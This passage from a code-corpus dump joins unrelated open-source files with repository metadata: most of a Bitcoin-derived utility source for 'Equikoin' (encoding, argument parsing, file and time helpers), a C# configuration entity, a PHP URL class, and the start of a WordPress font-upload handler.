-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, };
bool IsHex(const string& str)
{
BOOST_FOREACH(unsigned char c, str)
{
if (phexdigit[c] < 0)
return false;
}
return (str.size() > 0) && (str.size()%2 == 0);
}
vector<unsigned char> ParseHex(const char* psz)
{
// convert hex dump to vector
vector<unsigned char> vch;
loop
{
while (isspace(*psz))
psz++;
signed char c = phexdigit[(unsigned char)*psz++];
if (c == (signed char)-1)
break;
unsigned char n = (c << 4);
c = phexdigit[(unsigned char)*psz++];
if (c == (signed char)-1)
break;
n |= c;
vch.push_back(n);
}
return vch;
}
vector<unsigned char> ParseHex(const string& str)
{
return ParseHex(str.c_str());
}
static void InterpretNegativeSetting(string name, map<string, string>& mapSettingsRet)
{
// interpret -nofoo as -foo=0 (and -nofoo=0 as -foo=1) as long as -foo not set
if (name.find("-no") == 0)
{
std::string positive("-");
positive.append(name.begin()+3, name.end());
if (mapSettingsRet.count(positive) == 0)
{
bool value = !GetBoolArg(name);
mapSettingsRet[positive] = (value ? "1" : "0");
}
}
}
void ParseParameters(int argc, const char* const argv[])
{
mapArgs.clear();
mapMultiArgs.clear();
for (int i = 1; i < argc; i++)
{
std::string str(argv[i]);
std::string strValue;
size_t is_index = str.find('=');
if (is_index != std::string::npos)
{
strValue = str.substr(is_index+1);
str = str.substr(0, is_index);
}
#ifdef WIN32
boost::to_lower(str);
if (boost::algorithm::starts_with(str, "/"))
str = "-" + str.substr(1);
#endif
if (str[0] != '-')
break;
mapArgs[str] = strValue;
mapMultiArgs[str].push_back(strValue);
}
// New 0.6 features:
BOOST_FOREACH(const PAIRTYPE(string,string)& entry, mapArgs)
{
string name = entry.first;
// interpret --foo as -foo (as long as both are not set)
if (name.find("--") == 0)
{
std::string singleDash(name.begin()+1, name.end());
if (mapArgs.count(singleDash) == 0)
mapArgs[singleDash] = entry.second;
name = singleDash;
}
// interpret -nofoo as -foo=0 (and -nofoo=0 as -foo=1) as long as -foo not set
InterpretNegativeSetting(name, mapArgs);
}
}
std::string GetArg(const std::string& strArg, const std::string& strDefault)
{
if (mapArgs.count(strArg))
return mapArgs[strArg];
return strDefault;
}
int64 GetArg(const std::string& strArg, int64 nDefault)
{
if (mapArgs.count(strArg))
return atoi64(mapArgs[strArg]);
return nDefault;
}
bool GetBoolArg(const std::string& strArg, bool fDefault)
{
if (mapArgs.count(strArg))
{
if (mapArgs[strArg].empty())
return true;
return (atoi(mapArgs[strArg]) != 0);
}
return fDefault;
}
bool SoftSetArg(const std::string& strArg, const std::string& strValue)
{
if (mapArgs.count(strArg))
return false;
mapArgs[strArg] = strValue;
return true;
}
bool SoftSetBoolArg(const std::string& strArg, bool fValue)
{
if (fValue)
return SoftSetArg(strArg, std::string("1"));
else
return SoftSetArg(strArg, std::string("0"));
}
string EncodeBase64(const unsigned char* pch, size_t len)
{
static const char *pbase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
string strRet="";
strRet.reserve((len+2)/3*4);
int mode=0, left=0;
const unsigned char *pchEnd = pch+len;
while (pch<pchEnd)
{
int enc = *(pch++);
switch (mode)
{
case 0: // we have no bits
strRet += pbase64[enc >> 2];
left = (enc & 3) << 4;
mode = 1;
break;
case 1: // we have two bits
strRet += pbase64[left | (enc >> 4)];
left = (enc & 15) << 2;
mode = 2;
break;
case 2: // we have four bits
strRet += pbase64[left | (enc >> 6)];
strRet += pbase64[enc & 63];
mode = 0;
break;
}
}
if (mode)
{
strRet += pbase64[left];
strRet += '=';
if (mode == 1)
strRet += '=';
}
return strRet;
}
string EncodeBase64(const string& str)
{
return EncodeBase64((const unsigned char*)str.c_str(), str.size());
}
vector<unsigned char> DecodeBase64(const char* p, bool* pfInvalid)
{
static const int decode64_table[256] =
{
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
if (pfInvalid)
*pfInvalid = false;
vector<unsigned char> vchRet;
vchRet.reserve(strlen(p)*3/4);
int mode = 0;
int left = 0;
while (1)
{
int dec = decode64_table[(unsigned char)*p];
if (dec == -1) break;
p++;
switch (mode)
{
case 0: // we have no bits and get 6
left = dec;
mode = 1;
break;
case 1: // we have 6 bits and keep 4
vchRet.push_back((left<<2) | (dec>>4));
left = dec & 15;
mode = 2;
break;
case 2: // we have 4 bits and get 6, we keep 2
vchRet.push_back((left<<4) | (dec>>2));
left = dec & 3;
mode = 3;
break;
case 3: // we have 2 bits and get 6
vchRet.push_back((left<<6) | dec);
mode = 0;
break;
}
}
if (pfInvalid)
switch (mode)
{
case 0: // 4n base64 characters processed: ok
break;
case 1: // 4n+1 base64 character processed: impossible
*pfInvalid = true;
break;
case 2: // 4n+2 base64 characters processed: require '=='
if (left || p[0] != '=' || p[1] != '=' || decode64_table[(unsigned char)p[2]] != -1)
*pfInvalid = true;
break;
case 3: // 4n+3 base64 characters processed: require '='
if (left || p[0] != '=' || decode64_table[(unsigned char)p[1]] != -1)
*pfInvalid = true;
break;
}
return vchRet;
}
string DecodeBase64(const string& str)
{
vector<unsigned char> vchRet = DecodeBase64(str.c_str());
return string((const char*)&vchRet[0], vchRet.size());
}
string EncodeBase32(const unsigned char* pch, size_t len)
{
static const char *pbase32 = "abcdefghijklmnopqrstuvwxyz234567";
string strRet="";
strRet.reserve((len+4)/5*8);
int mode=0, left=0;
const unsigned char *pchEnd = pch+len;
while (pch<pchEnd)
{
int enc = *(pch++);
switch (mode)
{
case 0: // we have no bits
strRet += pbase32[enc >> 3];
left = (enc & 7) << 2;
mode = 1;
break;
case 1: // we have three bits
strRet += pbase32[left | (enc >> 6)];
strRet += pbase32[(enc >> 1) & 31];
left = (enc & 1) << 4;
mode = 2;
break;
case 2: // we have one bit
strRet += pbase32[left | (enc >> 4)];
left = (enc & 15) << 1;
mode = 3;
break;
case 3: // we have four bits
strRet += pbase32[left | (enc >> 7)];
strRet += pbase32[(enc >> 2) & 31];
left = (enc & 3) << 3;
mode = 4;
break;
case 4: // we have two bits
strRet += pbase32[left | (enc >> 5)];
strRet += pbase32[enc & 31];
mode = 0;
}
}
static const int nPadding[5] = {0, 6, 4, 3, 1};
if (mode)
{
strRet += pbase32[left];
for (int n=0; n<nPadding[mode]; n++)
strRet += '=';
}
return strRet;
}
string EncodeBase32(const string& str)
{
return EncodeBase32((const unsigned char*)str.c_str(), str.size());
}
vector<unsigned char> DecodeBase32(const char* p, bool* pfInvalid)
{
static const int decode32_table[256] =
{
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, -1, -1, -1, -1,
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 0, 1, 2,
3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,
23, 24, 25, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
if (pfInvalid)
*pfInvalid = false;
vector<unsigned char> vchRet;
vchRet.reserve((strlen(p))*5/8);
int mode = 0;
int left = 0;
while (1)
{
int dec = decode32_table[(unsigned char)*p];
if (dec == -1) break;
p++;
switch (mode)
{
case 0: // we have no bits and get 5
left = dec;
mode = 1;
break;
case 1: // we have 5 bits and keep 2
vchRet.push_back((left<<3) | (dec>>2));
left = dec & 3;
mode = 2;
break;
case 2: // we have 2 bits and keep 7
left = left << 5 | dec;
mode = 3;
break;
case 3: // we have 7 bits and keep 4
vchRet.push_back((left<<1) | (dec>>4));
left = dec & 15;
mode = 4;
break;
case 4: // we have 4 bits, and keep 1
vchRet.push_back((left<<4) | (dec>>1));
left = dec & 1;
mode = 5;
break;
case 5: // we have 1 bit, and keep 6
left = left << 5 | dec;
mode = 6;
break;
case 6: // we have 6 bits, and keep 3
vchRet.push_back((left<<2) | (dec>>3));
left = dec & 7;
mode = 7;
break;
case 7: // we have 3 bits, and keep 0
vchRet.push_back((left<<5) | dec);
mode = 0;
break;
}
}
if (pfInvalid)
switch (mode)
{
case 0: // 8n base32 characters processed: ok
break;
case 1: // 8n+1 base32 characters processed: impossible
case 3: // +3
case 6: // +6
*pfInvalid = true;
break;
case 2: // 8n+2 base32 characters processed: require '======'
if (left || p[0] != '=' || p[1] != '=' || p[2] != '=' || p[3] != '=' || p[4] != '=' || p[5] != '=' || decode32_table[(unsigned char)p[6]] != -1)
*pfInvalid = true;
break;
case 4: // 8n+4 base32 characters processed: require '===='
if (left || p[0] != '=' || p[1] != '=' || p[2] != '=' || p[3] != '=' || decode32_table[(unsigned char)p[4]] != -1)
*pfInvalid = true;
break;
case 5: // 8n+5 base32 characters processed: require '==='
if (left || p[0] != '=' || p[1] != '=' || p[2] != '=' || decode32_table[(unsigned char)p[3]] != -1)
*pfInvalid = true;
break;
case 7: // 8n+7 base32 characters processed: require '='
if (left || p[0] != '=' || decode32_table[(unsigned char)p[1]] != -1)
*pfInvalid = true;
break;
}
return vchRet;
}
string DecodeBase32(const string& str)
{
vector<unsigned char> vchRet = DecodeBase32(str.c_str());
return string((const char*)&vchRet[0], vchRet.size());
}
bool WildcardMatch(const char* psz, const char* mask)
{
loop
{
switch (*mask)
{
case '\0':
return (*psz == '\0');
case '*':
return WildcardMatch(psz, mask+1) || (*psz && WildcardMatch(psz+1, mask));
case '?':
if (*psz == '\0')
return false;
break;
default:
if (*psz != *mask)
return false;
break;
}
psz++;
mask++;
}
}
bool WildcardMatch(const string& str, const string& mask)
{
return WildcardMatch(str.c_str(), mask.c_str());
}
static std::string FormatException(std::exception* pex, const char* pszThread)
{
#ifdef WIN32
char pszModule[MAX_PATH] = "";
GetModuleFileNameA(NULL, pszModule, sizeof(pszModule));
#else
const char* pszModule = "equikoin";
#endif
if (pex)
return strprintf(
"EXCEPTION: %s \n%s \n%s in %s \n", typeid(*pex).name(), pex->what(), pszModule, pszThread);
else
return strprintf(
"UNKNOWN EXCEPTION \n%s in %s \n", pszModule, pszThread);
}
void LogException(std::exception* pex, const char* pszThread)
{
std::string message = FormatException(pex, pszThread);
printf("\n%s", message.c_str());
}
void PrintException(std::exception* pex, const char* pszThread)
{
std::string message = FormatException(pex, pszThread);
printf("\n\n************************\n%s\n", message.c_str());
fprintf(stderr, "\n\n************************\n%s\n", message.c_str());
strMiscWarning = message;
throw;
}
void PrintExceptionContinue(std::exception* pex, const char* pszThread)
{
std::string message = FormatException(pex, pszThread);
printf("\n\n************************\n%s\n", message.c_str());
fprintf(stderr, "\n\n************************\n%s\n", message.c_str());
strMiscWarning = message;
}
boost::filesystem::path GetDefaultDataDir()
{
namespace fs = boost::filesystem;
// Windows < Vista: C:\Documents and Settings\Username\Application Data\Bitcoin
// Windows >= Vista: C:\Users\Username\AppData\Roaming\Bitcoin
// Mac: ~/Library/Application Support/Bitcoin
// Unix: ~/.bitcoin
#ifdef WIN32
// Windows
return GetSpecialFolderPath(CSIDL_APPDATA) / "Equikoin";
#else
fs::path pathRet;
char* pszHome = getenv("HOME");
if (pszHome == NULL || strlen(pszHome) == 0)
pathRet = fs::path("/");
else
pathRet = fs::path(pszHome);
#ifdef MAC_OSX
// Mac
pathRet /= "Library/Application Support";
fs::create_directory(pathRet);
return pathRet / "Equikoin";
#else
// Unix
return pathRet / ".equikoin";
#endif
#endif
}
const boost::filesystem::path &GetDataDir(bool fNetSpecific)
{
namespace fs = boost::filesystem;
static fs::path pathCached[2];
static CCriticalSection csPathCached;
fs::path &path = pathCached[fNetSpecific];
// This can be called during exceptions by printf, so we cache the
// value so we don't have to do memory allocations after that.
if (fCachedPath[fNetSpecific])
return path;
LOCK(csPathCached);
if (mapArgs.count("-datadir")) {
path = fs::system_complete(mapArgs["-datadir"]);
if (!fs::is_directory(path)) {
path = "";
return path;
}
} else {
path = GetDefaultDataDir();
}
if (fNetSpecific && GetBoolArg("-testnet", false))
path /= "testnet3";
fs::create_directories(path);
fCachedPath[fNetSpecific] = true;
return path;
}
boost::filesystem::path GetConfigFile()
{
boost::filesystem::path pathConfigFile(GetArg("-conf", "equikoin.conf"));
if (!pathConfigFile.is_complete()) pathConfigFile = GetDataDir(false) / pathConfigFile;
return pathConfigFile;
}
void ReadConfigFile(map<string, string>& mapSettingsRet,
map<string, vector<string> >& mapMultiSettingsRet)
{
boost::filesystem::ifstream streamConfig(GetConfigFile());
if (!streamConfig.good())
return; // No bitcoin.conf file is OK
// clear path cache after loading config file
fCachedPath[0] = fCachedPath[1] = false;
set<string> setOptions;
setOptions.insert("*");
for (boost::program_options::detail::config_file_iterator it(streamConfig, setOptions), end; it != end; ++it)
{
// Don't overwrite existing settings so command line settings override bitcoin.conf
string strKey = string("-") + it->string_key;
if (mapSettingsRet.count(strKey) == 0)
{
mapSettingsRet[strKey] = it->value[0];
// interpret nofoo=1 as foo=0 (and nofoo=0 as foo=1) as long as foo not set)
InterpretNegativeSetting(strKey, mapSettingsRet);
}
mapMultiSettingsRet[strKey].push_back(it->value[0]);
}
}
boost::filesystem::path GetPidFile()
{
boost::filesystem::path pathPidFile(GetArg("-pid", "equikoind.pid"));
if (!pathPidFile.is_complete()) pathPidFile = GetDataDir() / pathPidFile;
return pathPidFile;
}
#ifndef WIN32
void CreatePidFile(const boost::filesystem::path &path, pid_t pid)
{
FILE* file = fopen(path.string().c_str(), "w");
if (file)
{
fprintf(file, "%d\n", pid);
fclose(file);
}
}
#endif
bool RenameOver(boost::filesystem::path src, boost::filesystem::path dest)
{
#ifdef WIN32
return MoveFileExA(src.string().c_str(), dest.string().c_str(),
MOVEFILE_REPLACE_EXISTING);
#else
int rc = std::rename(src.string().c_str(), dest.string().c_str());
return (rc == 0);
#endif /* WIN32 */
}
void FileCommit(FILE *fileout)
{
fflush(fileout); // harmless if redundantly called
#ifdef WIN32
_commit(_fileno(fileout));
#else
#if defined(__linux__) || defined(__NetBSD__)
fdatasync(fileno(fileout));
#elif defined(__APPLE__) && defined(F_FULLFSYNC)
fcntl(fileno(fileout), F_FULLFSYNC, 0);
#else
fsync(fileno(fileout));
#endif
#endif
}
int GetFilesize(FILE* file)
{
int nSavePos = ftell(file);
int nFilesize = -1;
if (fseek(file, 0, SEEK_END) == 0)
nFilesize = ftell(file);
fseek(file, nSavePos, SEEK_SET);
return nFilesize;
}
bool TruncateFile(FILE *file, unsigned int length) {
#if defined(WIN32)
return _chsize(_fileno(file), length) == 0;
#else
return ftruncate(fileno(file), length) == 0;
#endif
}
// this function tries to raise the file descriptor limit to the requested number.
// It returns the actual file descriptor limit (which may be more or less than nMinFD)
int RaiseFileDescriptorLimit(int nMinFD) {
#if defined(WIN32)
return 2048;
#else
struct rlimit limitFD;
if (getrlimit(RLIMIT_NOFILE, &limitFD) != -1) {
if (limitFD.rlim_cur < (rlim_t)nMinFD) {
limitFD.rlim_cur = nMinFD;
if (limitFD.rlim_cur > limitFD.rlim_max)
limitFD.rlim_cur = limitFD.rlim_max;
setrlimit(RLIMIT_NOFILE, &limitFD);
getrlimit(RLIMIT_NOFILE, &limitFD);
}
return limitFD.rlim_cur;
}
return nMinFD; // getrlimit failed, assume it's fine
#endif
}
// this function tries to make a particular range of a file allocated (corresponding to disk space)
// it is advisory, and the range specified in the arguments will never contain live data
void AllocateFileRange(FILE *file, unsigned int offset, unsigned int length) {
#if defined(WIN32)
// Windows-specific version
HANDLE hFile = (HANDLE)_get_osfhandle(_fileno(file));
LARGE_INTEGER nFileSize;
int64 nEndPos = (int64)offset + length;
nFileSize.u.LowPart = nEndPos & 0xFFFFFFFF;
nFileSize.u.HighPart = nEndPos >> 32;
SetFilePointerEx(hFile, nFileSize, 0, FILE_BEGIN);
SetEndOfFile(hFile);
#elif defined(MAC_OSX)
// OSX specific version
fstore_t fst;
fst.fst_flags = F_ALLOCATECONTIG;
fst.fst_posmode = F_PEOFPOSMODE;
fst.fst_offset = 0;
fst.fst_length = (off_t)offset + length;
fst.fst_bytesalloc = 0;
if (fcntl(fileno(file), F_PREALLOCATE, &fst) == -1) {
fst.fst_flags = F_ALLOCATEALL;
fcntl(fileno(file), F_PREALLOCATE, &fst);
}
ftruncate(fileno(file), fst.fst_length);
#elif defined(__linux__)
// Version using posix_fallocate
off_t nEndPos = (off_t)offset + length;
posix_fallocate(fileno(file), 0, nEndPos);
#else
// Fallback version
// TODO: just write one byte per block
static const char buf[65536] = {};
fseek(file, offset, SEEK_SET);
while (length > 0) {
unsigned int now = 65536;
if (length < now)
now = length;
fwrite(buf, 1, now, file); // allowed to fail; this function is advisory anyway
length -= now;
}
#endif
}
void ShrinkDebugFile()
{
// Scroll debug.log if it's getting too big
boost::filesystem::path pathLog = GetDataDir() / "debug.log";
FILE* file = fopen(pathLog.string().c_str(), "r");
if (file && GetFilesize(file) > 10 * 1000000)
{
// Restart the file with some of the end
char pch[200000];
fseek(file, -sizeof(pch), SEEK_END);
int nBytes = fread(pch, 1, sizeof(pch), file);
fclose(file);
file = fopen(pathLog.string().c_str(), "w");
if (file)
{
fwrite(pch, 1, nBytes, file);
fclose(file);
}
}
else if(file != NULL)
fclose(file);
}
//
// "Never go to sea with two chronometers; take one or three."
// Our three time sources are:
// - System clock
// - Median of other nodes clocks
// - The user (asking the user to fix the system clock if the first two disagree)
//
static int64 nMockTime = 0; // For unit testing
int64 GetTime()
{
if (nMockTime) return nMockTime;
return time(NULL);
}
void SetMockTime(int64 nMockTimeIn)
{
nMockTime = nMockTimeIn;
}
static int64 nTimeOffset = 0;
int64 GetTimeOffset()
{
return nTimeOffset;
}
int64 GetAdjustedTime()
{
return GetTime() + GetTimeOffset();
}
void AddTimeData(const CNetAddr& ip, int64 nTime)
{
int64 nOffsetSample = nTime - GetTime();
// Ignore duplicates
static set<CNetAddr> setKnown;
if (!setKnown.insert(ip).second)
return;
// Add data
vTimeOffsets.input(nOffsetSample);
printf("Added time data, samples %d, offset %+"PRI64d" (%+"PRI64d" minutes)\n", vTimeOffsets.size(), nOffsetSample, nOffsetSample/60);
if (vTimeOffsets.size() >= 5 && vTimeOffsets.size() % 2 == 1)
{
int64 nMedian = vTimeOffsets.median();
std::vector<int64> vSorted = vTimeOffsets.sorted();
// Only let other nodes change our time by so much
if (abs64(nMedian) < 35 * 60) // Equikoin: changed maximum adjust to 35 mins to avoid letting peers change our time too much in case of an attack.
{
nTimeOffset = nMedian;
}
else
{
nTimeOffset = 0;
static bool fDone;
if (!fDone)
{
// If nobody has a time different than ours but within 5 minutes of ours, give a warning
bool fMatch = false;
BOOST_FOREACH(int64 nOffset, vSorted)
if (nOffset != 0 && abs64(nOffset) < 5 * 60)
fMatch = true;
if (!fMatch)
{
fDone = true;
string strMessage = _("Warning: Please check that your computer's date and time are correct! If your clock is wrong Equikoin will not work properly.");
strMiscWarning = strMessage;
printf("*** %s\n", strMessage.c_str());
uiInterface.ThreadSafeMessageBox(strMessage, "", CClientUIInterface::MSG_WARNING);
}
}
}
if (fDebug) {
BOOST_FOREACH(int64 n, vSorted)
printf("%+"PRI64d" ", n);
printf("| ");
}
printf("nTimeOffset = %+"PRI64d" (%+"PRI64d" minutes)\n", nTimeOffset, nTimeOffset/60);
}
}
uint32_t insecure_rand_Rz = 11;
uint32_t insecure_rand_Rw = 11;
void seed_insecure_rand(bool fDeterministic)
{
//The seed values have some unlikely fixed points which we avoid.
if(fDeterministic)
{
insecure_rand_Rz = insecure_rand_Rw = 11;
} else {
uint32_t tmp;
do {
RAND_bytes((unsigned char*)&tmp, 4);
} while(tmp == 0 || tmp == 0x9068ffffU);
insecure_rand_Rz = tmp;
do {
RAND_bytes((unsigned char*)&tmp, 4);
} while(tmp == 0 || tmp == 0x464fffffU);
insecure_rand_Rw = tmp;
}
}
string FormatVersion(int nVersion)
{
if (nVersion%100 == 0)
return strprintf("%d.%d.%d", nVersion/1000000, (nVersion/10000)%100, (nVersion/100)%100);
else
return strprintf("%d.%d.%d.%d", nVersion/1000000, (nVersion/10000)%100, (nVersion/100)%100, nVersion%100);
}
string FormatFullVersion()
{
return CLIENT_BUILD;
}
// Format the subversion field according to BIP 14 spec (https://en.bitcoin.it/wiki/BIP_0014)
std::string FormatSubVersion(const std::string& name, int nClientVersion, const std::vector<std::string>& comments)
{
std::ostringstream ss;
ss << "/";
ss << name << ":" << FormatVersion(nClientVersion);
if (!comments.empty())
ss << "(" << boost::algorithm::join(comments, "; ") << ")";
ss << "/";
return ss.str();
}
#ifdef WIN32
boost::filesystem::path GetSpecialFolderPath(int nFolder, bool fCreate)
{
namespace fs = boost::filesystem;
char pszPath[MAX_PATH] = "";
if(SHGetSpecialFolderPathA(NULL, pszPath, nFolder, fCreate))
{
return fs::path(pszPath);
}
printf("SHGetSpecialFolderPathA() failed, could not obtain requested path.\n");
return fs::path("");
}
#endif
boost::filesystem::path GetTempPath() {
#if BOOST_FILESYSTEM_VERSION == 3
return boost::filesystem::temp_directory_path();
#else
// TODO: remove when we don't support filesystem v2 anymore
boost::filesystem::path path;
#ifdef WIN32
char pszPath[MAX_PATH] = "";
if (GetTempPathA(MAX_PATH, pszPath))
path = boost::filesystem::path(pszPath);
#else
path = boost::filesystem::path("/tmp");
#endif
if (path.empty() || !boost::filesystem::is_directory(path)) {
printf("GetTempPath(): failed to find temp path\n");
return boost::filesystem::path("");
}
return path;
#endif
}
void runCommand(std::string strCommand)
{
int nErr = ::system(strCommand.c_str());
if (nErr)
printf("runCommand error: system(%s) returned %d\n", strCommand.c_str(), nErr);
}
void RenameThread(const char* name)
{
#if defined(PR_SET_NAME)
// Only the first 15 characters are used (16 - NUL terminator)
::prctl(PR_SET_NAME, name, 0, 0, 0);
#elif 0 && (defined(__FreeBSD__) || defined(__OpenBSD__))
// TODO: This is currently disabled because it needs to be verified to work
// on FreeBSD or OpenBSD first. When verified the '0 &&' part can be
// removed.
pthread_set_name_np(pthread_self(), name);
#elif defined(MAC_OSX) && defined(__MAC_OS_X_VERSION_MAX_ALLOWED)
// pthread_setname_np is XCode 10.6-and-later
#if __MAC_OS_X_VERSION_MAX_ALLOWED >= 1060
pthread_setname_np(name);
#endif
#else
// Prevent warnings for unused parameters...
(void)name;
#endif
}
bool NewThread(void(*pfn)(void*), void* parg)
{
try
{
boost::thread(pfn, parg); // thread detaches when out of scope
} catch(boost::thread_resource_error &e) {
printf("Error creating thread: %s\n", e.what());
return false;
}
return true;
}
| mit |
MiXTelematics/MiX.Integrate.Api.Client | MiX.Integrate.Shared/Entities/DeviceConfiguration/MobileUnitDeviceConfiguration.cs | 876 | using System;
using System.Collections.Generic;
namespace MiX.Integrate.Shared.Entities.DeviceConfiguration
{
public class MobileUnitDeviceConfiguration
{
public string AssetId { get; set; }
public string ConfigurationGroup { get; set; }
public string MobileDeviceType { get; set; }
public DateTimeOffset LastChangeDate { get; set; }
public List<MobileUnitDeviceConfigurationPeripheral> ConnectedPeripherals { get; set; }
public List<MobileUnitDeviceConfigurationProperty> Properties { get; set; }
}
public class MobileUnitDeviceConfigurationPeripheral
{
public string Description { get; set; }
public string Wire { get; set; }
public List<MobileUnitDeviceConfigurationProperty> Properties { get; set; }
}
public class MobileUnitDeviceConfigurationProperty
{
public string Name { get; set; }
public string Value { get; set; }
}
}
| mit |
4rthem/google-api | src/Domain/Place/VO/Url.php | 346 | <?php
namespace Arthem\GoogleApi\Domain\Place\VO;
class Url
{
/**
* @var string
*/
private $url;
/**
* @param string $url
*/
public function __construct($url)
{
$this->url = $url;
}
/**
* @return string
*/
public function getUrl()
{
return $this->url;
}
}
| mit |
opentable/ntextcat-http | src/NTextCat-Http/NTextCat.NancyHandler/LanguageDetection/DetectedLanguageResponse.cs | 590 | using System.Collections.Generic;
namespace NTextCat.NancyHandler.LanguageDetection
{
public class DetectedLanguageResponse
{
public DetectedLanguageResponse()
{
RankedMatches = new List<DetectedLangage>();
}
public DetectedLanguageResponse(List<DetectedLangage> languagesDetected, string originalText)
{
RankedMatches = languagesDetected;
OriginalText = originalText;
}
public string OriginalText { get; set; }
public List<DetectedLangage> RankedMatches { get; set; }
}
} | mit |
creative2020/kelley | wp-content/plugins/use-any-font/includes/uaf_font_upload_js.php | 8672 | <?php
$allowedFontFormats = array ('ttf','otf');
$uaf_api_key = get_option('uaf_api_key');
if (isset($_POST['submit-uaf-font'])){
$fontUploadFinalMsg = '';
$fontUploadFinalStatus = 'updated';
if (!empty($_POST['font_name'])):
$fontNameToStore = sanitize_file_name(date('ymdhis').$_POST['font_name']);
$fontNameToStoreWithUrl = $fontNameToStore;
if (!empty($_POST['convert_response'])):
$convertResponseArray = json_decode(stripslashes($_POST['convert_response']), true);
if ($convertResponseArray['global']['status'] == 'ok'):
$neededFontFormats = array('woff','eot');
foreach ($neededFontFormats as $neededFontFormat):
if ($convertResponseArray[$neededFontFormat]['status'] == 'ok'):
$fontFileContent = '';
$fontFileContent = wp_remote_fopen($convertResponseArray[$neededFontFormat]['filename']);
if (!empty($fontFileContent)):
$newFileName = $fontNameToStore.'.'.$neededFontFormat;
$newFilePath = $uaf_upload_dir.$newFileName;
$fh = fopen($newFilePath, 'w') or die("can't open file. Make sure you have write permission to your upload folder");
fwrite($fh, $fontFileContent);
fclose($fh);
$fontUploadMsg[$neededFontFormat]['status'] = 'ok';
$fontUploadMsg[$neededFontFormat]['text'] = "Done";
else:
$fontUploadMsg[$neededFontFormat]['status'] = 'error';
$fontUploadMsg[$neededFontFormat]['text'] = "Couldn't receive $neededFontFormat file";
endif;
else:
$fontUploadMsg[$neededFontFormat]['status'] = 'error';
$fontUploadMsg[$neededFontFormat]['text'] = "Problem converting to $neededFontFormat format";
endif;
endforeach;
else:
$fontUploadFinalStatus = 'error';
$fontUploadFinalMsg .= $convertResponseArray['global']['msg'].'<br/>';
endif;
else:
$fontUploadFinalStatus = 'error';
$fontUploadFinalMsg = "Convert Response is Empty";
endif;
else:
$fontUploadFinalStatus = 'error';
$fontUploadFinalMsg = "Font Name is empty";
endif;
if (!empty($fontUploadMsg)):
foreach ($fontUploadMsg as $formatKey => $formatData):
if ($formatData['status'] == 'error'):
$fontUploadFinalStatus = 'error';
$fontUploadFinalMsg .= $formatData['text'].'<br/>';
endif;
endforeach;
endif;
if ($fontUploadFinalStatus != 'error'):
$fontUploadFinalMsg = 'Font Uploaded';
endif;
if ($fontUploadFinalStatus != 'error'):
$fontsRawData = get_option('uaf_font_data');
$fontsData = json_decode($fontsRawData, true);
if (empty($fontsData)):
$fontsData = array();
endif;
